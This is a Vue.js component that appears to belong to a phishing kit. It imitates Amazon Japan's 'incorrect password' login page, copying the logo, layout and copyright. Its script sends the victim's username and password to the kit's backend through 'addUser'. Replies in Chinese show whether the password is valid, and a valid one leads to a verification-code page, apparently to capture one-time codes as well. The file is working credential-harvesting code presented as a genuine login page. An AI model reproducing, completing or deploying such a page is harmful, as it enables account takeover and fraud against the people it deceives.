<template>
  <div class="login-page">
    <!-- 顶部 logo 区域 -->
    <div class="header">
      <img
          src="../images/Amazon_logo.svg.png"
          alt="Amazon Logo"
          class="amazon-logo"
      />
      <span class="domain">.co.jp</span>
    </div>
    <div class="prompt-box" style="border: 2px solid #f70000;
    color: #0f1111;margin-bottom: 15px;border-left: 7px solid #d50505;border-radius: 7px;">
      <div style="margin-left: 10px;margin-top: 10px;font-weight: bold;font-size: 16px"> <i class="el-icon-warning" style="color: #f70000"></i>ご確認ください</div>
      <div style="margin-left: 10px;margin-bottom: 10px;font-size: 12px;margin-top: 10px">パスワードが正しくありません</div>
    </div>
    <!-- 主内容卡片 -->
    <div class="main-card">
      <h1 class="card-title">ログイン</h1>
      <p class="card-account">{{loginForm.name}} <span @click="backLogin" style="font-size: 16px;color: #2162a1">変更</span>
      </p>
      <div style="display: flex;justify-content: space-between;margin-top: -15px">
        <p class="card-tip">パスワード</p>
        <p class="card-tip-right">パスワードを忘れた方</p>
      </div>
      <el-form ref="loginForm" :model="loginForm" style="margin-top: -10px">
        <el-form-item>
          <el-input
              v-model="loginForm.password"
              class="custom-input"
              show-password
          ></el-input>
        </el-form-item>
        <div v-if="passwordReq" style="margin-top: -15px;margin-bottom: 5px">
          <i class="el-icon-warning" style="color: red"></i> <span style="font-size: 12px;color:#ee0000;" >パスワードは必須入力です</span>
        </div>
        <el-form-item>
          <el-button style="background-color: #ffd814" :loading="btnLoadingFlag" class="continue-btn" @click="handleContinue">ログイン</el-button>
        </el-form-item>
      </el-form>
    </div>
    <el-divider />
    <!-- 页脚 -->
    <div class="footer">
      <div class="footer-links">
        <a href="#" class="link">利用規約</a>
        <span class="separator">|</span>
        <a href="#" class="link">プライバシー規約</a>
        <span class="separator">|</span>
        <a href="#" class="link">ヘルプ</a>
      </div>
      <p class="copyright">© 1996-2025, Amazon.com, Inc.またはその関連会社</p>
    </div>
  </div>
</template>

<script>
import {addUser} from "@/api/baseApi";

export default {
  name: 'LoginPage',
  data() {
    return {
      loginForm: {
        name: '',
        password:''
      },
      btnLoadingFlag:false,
      passwordReq:false
    }
  },
  created(){
    this.loginForm.name =  this.$route.params.name
  },
  methods: {
    async handleContinue() {
      if(this.loginForm.password.length<3){
        this.passwordReq = true
        return
      }

      this.passwordReq = false

      this.btnLoadingFlag=true
      let resData =  await addUser(this.loginForm)
      this.btnLoadingFlag=false
      let msgData = resData.data
      if(msgData === '账户密码错误'){
        this.$router.replace({ name: 'PasswordPageError', params: { 'name': this.loginForm.name } })
      }
      if(msgData === '账户密码正确'){
        this.$router.replace({ name: 'YanZhengMaPage', params: { 'name': this.loginForm.name } })
      }
    },
    backLogin(){
      this.$router.replace({ name: 'Login', params: { 'name': this.loginForm.name } })
    }
  }
}
</script>

<style scoped>
.login-page {
  display: flex;
  flex-direction: column;
  align-items: center;
  background-color: #fff;
  min-height: 100vh;
  margin: 0;
  padding: 0;
  font-family: Arial, sans-serif;
}

.header {
  display: flex;
  align-items: flex-end;
  margin: 10px 0 10px;
  padding: 0 10px;
}

.amazon-logo {
  height: 31px;
  width: auto;
}

.domain {
  background: 0 0;
  font-style: normal;
  color: #0f1111;
  padding-bottom: 8px;
}

.main-card {
  width: 280px;
  border: 1px solid #ddd;
  border-radius: 8px;
  padding: 15px 26px;
}
.card-account{
  font-size: 14px;
  line-height: 20px;
}
.card-title {
  font-weight: 400;
  margin-bottom: 8px !important;
  color: #0f1120;
  font-size: 28px;
  line-height: 36px;
}
.card-tip {
  color: #0f1111;
  font-size: 14px;
  font-weight: bold;
  line-height: 20px;
}
.card-tip-right{
  color: #0f1111;
  font-size: 14px;
  line-height: 20px;
  color: #2162a1;
}

h1 {
  font-weight: 400;
  font-size: 28px;
  line-height: 36px;
}
.custom-input >>> .el-input__inner {
  height: 31px;
  padding: 0px 7px;
  font-size: 13px;
  border: 1px solid #a6a6a6;
  border-radius: 3px;
  box-shadow: 0 1px 0 rgba(255,255,255,.5), 0 1px 0 rgba(0,0,0,.07) inset;
}

.custom-input >>> .el-input__inner:focus {
  border-color: #00dfe7;
}

.continue-btn {
  width: 100%;
  background: #ffd814;
  border: 1px solid #a88734;
  color: #0f1111;
  font-size: 13px;
  font-weight: 400;
  padding: 8px 0;
  border-radius: 20px;
  cursor: pointer;
}

.continue-btn:hover {
  background: linear-gradient(to bottom,#f5d78e,#eeb933);
}

.terms-text {
  font-size: 12px;
  font-weight: 300;
  color: #0f1111;
  line-height: 1.5;
  margin-top: -10px;
}

.help-link {
  font-size: 13px;
  margin: 14px 0 0;
}

.business-section {
  margin: 26px 0 0;
  border-top: 1px solid #e7e7e7;
  padding: 14px 0 0;
  font-size: 13px;
}

.business-text {
  margin: 0 0 5px;
  color: #0f1111;
  font-weight: 500;
}

.link {
  color: #0066c0;
  text-decoration: none;
  font-size: inherit;
}

.link:hover {
  color: #c45500;
  text-decoration: underline;
}

.footer {
  font-size: 11px;
  color: #555;
  text-align: center;
  width: 100%;
  margin-top: -10px;
}

.footer-links {
  display: flex;
  justify-content: center;
  align-items: center;
}

.footer-links .link {
  margin: 0 10px;
}

.separator {
  color: #ddd;
  margin: 0 5px;
}

.copyright {
  margin: 0;
  color: #555;
}

.el-divider--horizontal {
  display: block;
  height: 2px;
  width: 100%;
  margin: 40px 0;
}
.prompt-box {
  width: 333px; /* 可根据实际需求调整宽度 */
  margin: 0 auto;
}
</style>